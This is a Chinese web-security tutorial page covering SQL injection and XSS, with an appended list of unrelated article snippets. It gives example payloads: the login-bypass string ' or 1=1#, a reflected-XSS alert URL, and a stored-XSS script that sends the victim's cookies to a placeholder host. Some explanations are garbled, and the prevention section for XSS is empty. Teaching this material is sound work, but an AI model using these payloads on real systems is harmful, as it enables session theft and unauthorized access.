Web安全测试基础

SQL注入

当下最常用的一个攻击手段,就是通过SQL命令插入到Web表单中或页面请求查询字符串中,最终达到欺骗服务器执行恶意的SQL语句的目的,SQL注入一旦成功,轻则直接绕开服务器验证,直接登录成功,重则将服务器端数据库中的内容一览无余,更有甚者,直接篡改数据库内容

简单来说,就是改变了原有的sql,让sql执行的结果发生了改变

为什么能实现sql注入?

Web网页可以发生SQL注入的根本原因在于其底层逻辑处理用户输入的方式与数据库交互(在常见的三层或四层架构中,由于数据从视图层传递至业务逻辑层进而到达数据访问层时,缺乏有效的参数化、转义过滤或安全编码实践,导致用户输入未经充分验证即被拼接进动态SQL查询语句并直接执行于数据库服务端)的安全机制存在缺陷。

多层结构的Web应用中,一般都有:

  • 视图层:负责接收用户的输入和展示界面,通常包括HTML表单等交互元素。

  • 业务逻辑层:对来自视图层的请求进行处理,包含数据验证、业务规则判断等操作,本应在此环节对所有不可信的输入数据进行严格的校验和清理。

  • 数据访问层:与数据库直接交互,执行SQL查询或其他数据库操作。如果这一层未能确保所有的SQL命令都是预编译的或者使用参数化的查询方式,就可能因拼接了未经处理的用户输入而引入SQL注入漏洞。

哪些情况可能会导致SQL注入攻击以及如何防止SQL注入?

  • SQL是动态构建的。如果对后台代码稍微熟悉一点,就会发现Web程序在接受到用户的输入后,往往需要根据这些内容去构建SQL语句,再去数据库中执行,如果开发人员采用的是字符串拼接的方式来生成SQL,则很可能实现SQL注入攻击。对于这种情况,防止SQL注入也很简单:

    • 使用参数化查询或预编译语句,用户输入的数据会被当成一个参数传递,而不是直接拼接到SQL中,这样数据就不会成为SQL指令的一部分,一般来说,最开始的SQL是这样 SELECT * FROM users WHERE username = ? AND password = ? 其中【?】是占位符,这样的好处是:

      • 在预编译阶段,含有占位符的SQL语句会被发送到数据库服务器并进行预编译。此时,数据库只知道参数的数量和类型,但并不知道具体的值。

      • 在绑定参数阶段,应用程序将实际的参数值传给数据库,并明确指明每个参数的类型。在这一过程中,数据库驱动程序会对字符串等文本类型的参数进行适当的转义和编码,确保它们不会被误解析为SQL命令的一部分。

      • 在执行阶段,参数值已经被安全地封装起来,即使用户输入的是' or 1=1#这样的恶意内容,它也不会被当作SQL逻辑去执行,而是作为一个单独的数据值传递给SQL查询中的条件表达式

    • 使用成熟的ORM框架,例如Java中的Mybatis或者Hibernate等,就能通过使用面向对象的方式来操作数据库

    • 在前后端都分别进行验证,这并不是防范SQL注入的最好办法,属于“治标不治本”的办法,例如禁止特殊字符的输入、检查输入长度等办法

    • 控制数据库的权限,例如在查询语句中,就不要用增删改查全部权限的数据库用户,但是这种办法也会导致SQL注入来查询到全部数据,也是最佳办法

    • 对错误信息进行一个统一处理,这样在SQL注入的时候,哪怕已经成功注入了,也无法查看到具体的报错信息,可以结合上一个办法一起限制,也不是最佳办法

    • 综上,推荐使用第一个和第二个方法来避免和防止SQL注入

  • 错误的信任模式也会可能导致SQL注入,例如在一些多层框架中,如果底层没有过滤掉可能导致SQL注入的恶意输入,较高层级可能就因为信任等级比较高,导致产生SQL注入,处理办法也比较简单:

    • 对于所有的数据,都可以认为是不安全的,无论来自内外部,都要假设成是攻击的载体

  • 更加实际一点,也就是如下类型的网址可能实现sql注入

    • 【数字型注入点】www.xxx.com/xxx?username=admin

    • 【字符型注入点】www.xxx.com/xxx?id=1

    • 【搜索型注入点】或者是一些post请求,在请求中有模糊搜索

    • 详细如何注入可以查看SQL注入常见方式

SQL注入带来的后果

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

  • 绕过认证,列如绕过验证登录网站后台。

  • 注入可以借助数据库的存储过程进行提权等操作

SQL注入常见方式

XSS跨站脚本攻击

概念

指的是恶意攻击者往web页面里面插入恶意的HTML和Javascript代码,当用户浏览该页面时,嵌入其中的web里面的HTML代码就会被执行,从而达到恶意攻击用户的特殊目的

基本流程

原理讲解

  • 攻击者构造包含恶意脚本的数据,通过URL参数、表单提交、Cookie或者HTTP头部等方式把恶意数据发送到Web服务器

  • 服务器收到数据,如果没有过多校验,就会进行持久化,当用户访问这个页面的时候,服务器就会把这些恶意数据返回给用户

  • 用户收到了含有恶意脚本的HTML页面,但是没有识别出来,于是正常解析和渲染,就会把恶意脚本当做正常程序,从而获取本地的一些用户信息

  • 为什么能够插入脚本成功,其核心是HTML页面是由标签组成的,如果恶意脚本也是使用这种标签<>的方式构造,就可能误导网站和浏览器认为这是一个正常的标签,恶意脚本就会在浏览器中执行了

危害

  • 攻击者可以通过这样的方式来窃取用户的私密信息,例如登录凭证,Cookie等

  • 攻击者可以篡改网页的内容,都能够在页面中插入脚本了,也可以实现在页面展示虚假信息或者其他广告

  • 攻击者可以在脚本中写入木马程序,实现传播恶意病毒或软件

  • 某些高级的XSS脚本可以实现控制键盘和鼠标,从而实现控制电脑

分类

  • 反射性XSS

    • 攻击方式:攻击者会构造包含恶意脚本的URL,用户点击这个链接,浏览器就执行了恶意脚本

    • 特点:每次攻击都需要用户手动点击这个连续,否则不会触发

  • 存储型XSS

    • 攻击方式:攻击者会把恶意脚本上传到某网站的数据库或其他持久化存储区,成功后,任何查看这个内容的用户都会执行这个恶意攻击

    • 特点:恶意脚本如果没有被发现,攻击者就无需再次介入,用户查看这个网页就会受到影响

举例

反射型XSS

假设这是一个有安全漏洞的网站上的搜索功能

ttp://www.xxx.com/search?q=keyword

攻击者恶意构造的URL就可能是(简单展示)

ttp://www.xxx.com/search?q=<script>alert('XSS');</script>

那么当用户点击了这个链接之后,浏览器就会直接执行alert函数,显示警告框

存储型XSS

假设在一个没有过滤或转移的用户留言板系统中,用户提交了如下内容:

et a= "<script>var img = document.createElement('img'); img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie; document.body.appendChild(img);</script>";

这是一段简单的JS代码,下面进行简单讲解

  • var img = document.createElement('img') :创建一个<img>标签,可以存储图片

  • img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie:

    • src 是用来指定图片的URL,在这里指向了 http://www.xxx.com/xxx 并且在后面带上了document.cookie的内容

    • document.cookie是浏览器提供的一个全局对象属性,可以获取当前页面的全部Cookie信息,这样就实现了把用户的Cookie信息拼接到URL里面

  • document.body.appendChild(img):把新创建的图片标签添加到当前文档的body部分,当浏览器去加在这个body的时候,就会导致把用户的cookie发送到http://www.xxx.com/xxx, 造成了信息的泄露

如何防止XSS攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/615257.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Flutter 开发实战】Dart 基础篇:条件循环表达式

Dart 是一门强大的编程语言&#xff0c;其条件和循环表达式在编写灵活、高效代码中起着关键作用。本文将深入介绍 Dart 中的条件表达式、循环表达式、以及关键字如 for、while、do...while、break、continue 等内容&#xff0c;旨在为初学者提供清晰的指导。 1. 条件表达式 D…

Netty开篇——BIO章(二)

Java BIO 基本介绍 属于传统的 java io编程&#xff0c;内容见java.io包中BIO(blocking I/O) : 同步阻塞&#xff0c;服务器实现模式为个连接一个线程&#xff0c;即客户端有连接请求时服务器端就需要启动一个线程进行处理&#xff0c;如果这个连接不做任何事情会造成不必要的线…

数字化转型的关键:JVS低代码的列表页导入功能解析

在当今数字化时代&#xff0c;数据的管理和迁移变得至关重要。为了满足广大用户的需求&#xff0c;JVS低代码精心打造了“列表页导入功能”。这个功能专为高效处理列表页数据而设计&#xff0c;为用户提供了简单、便捷的数据导入、导出和模板下载服务。 列表页导入功能 列表页…

1、理解Transformer:革新自然语言处理的模型

目录 一、论文题目 二、背景与动机 三、卖点与创新 四、解决的问题 五、具体实现细节 0. Transformer 架构的主要组件 1. 注意力、自注意力&#xff08;Self-Attention&#xff09;到多头注意力&#xff08;Multi-Head Attention&#xff09; 注意力到底是做什么的&…

基于JAVA+ssm智能旅游线路规划系统设计与实现【附源码】

基于JAVAssm智能旅游线路规划系统设计与实现【附源码】 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql…

Neo4j恢复

主要记录windows环境下从备份文件中恢复Neo4j&#xff0c; Linux环境同理 备份在上一篇中有介绍&#xff0c;参考: Neo4j备份-CSDN博客 误删数据 为了模拟误删除场景&#xff0c;我们查询Person&#xff0c;并模拟误操作将其进行删除&#xff1b; match(p:Person) return …

SQL基础知识3

一、删除数据 1、delete操作 删除之前一定要查询一下&#xff0c;确保删除的数据是对的 逻辑删除&#xff1a;在表中新增一个字段&#xff1a;flag/status 二、更新数据 本质上的逻辑删除 三、查询数据 1、联表查询 1、内连接 交集的部分叫内连接 小知识&#xff1a;一般…

thinkphp美容SPA管理系统源码带文字安装教程

thinkphp美容SPA管理系统源码带文字安装教程 运行环境 服务器宝塔面板 PHP 7.0 Mysql 5.5及以上版本 Linux Centos7以上 基于thinkphp3.23B-JUI1.2开发&#xff0c;权限运用了Auth类认证&#xff0c;权限可以细分到每个功能&#xff0c; 增删改查功能一应俱全&#xff0c;整合了…

随机过程——卡尔曼滤波学习笔记

一、均方预测和随机序列分解 考虑随机序列 使用预测 定义 称为的均方可预测部分。 若相互独立&#xff0c;则是均方不可预测的。 定义随机序列的新息序列 V(k)基于样本观测的条件均值为0&#xff0c;即均方不可预测。 V(k)与是正交的&#xff0c;即。 二、卡尔曼滤波 …

目标检测脚本之mmpose json转yolo txt格式

目标检测脚本之mmpose json转yolo txt格式 一、需求分析 在使用yolopose及yolov8-pose 网络进行人体姿态检测任务时&#xff0c;有时需要标注一些特定场景的中的人型目标数据&#xff0c;用来扩充训练集&#xff0c;提升自己训练模型的效果。因为单纯的人工标注耗时费力&…

响应式Web开发项目教程(HTML5+CSS3+Bootstrap)第2版 例3-4 CSS 立方体

代码 <!doctype html> <html> <head> <meta charset"utf-8"> <title>CSS 立方体</title> <link href"CSS/style.css" rel"stylesheet" type"text/css"> <style> .box {width: 200px…

Spring上下文之support模块MessageSourceAccessor

博主介绍:✌全网粉丝5W+,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验✌ 博主作品:《Java项目案例》主要基于SpringBoot+MyBatis/MyBatis-plus+…

「JavaSE」类和对象1

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;快来卷Java啦 &#x1f387;欢迎点赞收藏加关注哦&#xff01; 类和对象 &#x1f349;类的定义&#x1f34c;类的实例化 &#x1f349;this引用&#x1f349;对象的构造及初始化&#x1f34c;…

【JAVA】Java 中什么叫单例设计模式?请用 Java 写出线程安全的单例模式

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 懒汉式&#xff08;Lazy Initialization&#xff09;&#xff1a; 双重检查锁定&#xff08;Double-Checked Locking&#xff09;…

MySQL篇—自带物理克隆数据工具Clone插件介绍(第一篇,总共三篇)

各位小伙伴&#xff0c;今天我为大家介绍一下MySQL Clone Plugin这个插件&#xff0c;简单来说&#xff0c;就是MySQL 8.0.17版本之后的一个物理克隆数据工具&#xff0c;它能够帮助我们快速、高效地克隆或复制数据库&#xff0c;极大地简化了数据库迁移、备份和恢复的过程&…

5分钟了解股票交易!上海股票开户交易佣金最低是多少?怎么开户费用最低?

股票交易是指通过证券市场买卖股票的活动。以下是股票交易的基本步骤&#xff1a; 开立证券账户&#xff1a;首先需要选择一家证券公司&#xff0c;向其提交相关材料开立证券账户&#xff0c;并完成账户开立手续。 研究和选择股票&#xff1a;在决定购买股票之前&#xff0c;建…

GPCR蛋白一般残基编号(Generic residue numbering)

文章目录 前言定义特殊情况参考连接 前言 在相应的文章中看到对于对于描述GPCR中的序列位置&#xff0c;往往在除了在当前蛋白的氨基酸序列序号意外&#xff0c;会在右上角标注一个类似于6 x 49的编号。经查这个编号有一个统一名称&#xff1a;Generic residue numbering。本文…

【AT 指令开发】软件框架与接口

目录 1 软件逻辑2.代码2.1 at_command.h2.2 at_command.c本文主要用于记录纯MCU无OS下,AT 指令开发软件框架 1 软件逻辑 2.代码 2.1 at_command.h #ifndef AT_COMMAND_H #define AT_COMMAND_Hvoid AT_CMD_Process(uint8_t *uartBuffer, uint8_t dataLen);/*描述AT指令返回值…

Vue+element-china-area-data实现省市区三级联动

安装依赖 npm install element-china-area-data -S cnpm install element-china-area-data -S 引用 import { provinceAndCityData, regionData, provinceAndCityDataPlus, regionDataPlus, CodeToText, TextToCode } from element-china-area-data&#xff1b; provinceAnd…

写点东西《Docker入门(上)》

写点东西《Docker入门&#xff08;上&#xff09;》 环境变量 Docker 镜像 Docker CMD 与 ENTRYPOINT 有什么区别 Docker 中的网络&#xff1a; Docker 存储&#xff1a; Docker 是一个工具&#xff0c;允许开发人员将他们的应用程序及其所有依赖项打包到一个容器中。然后&…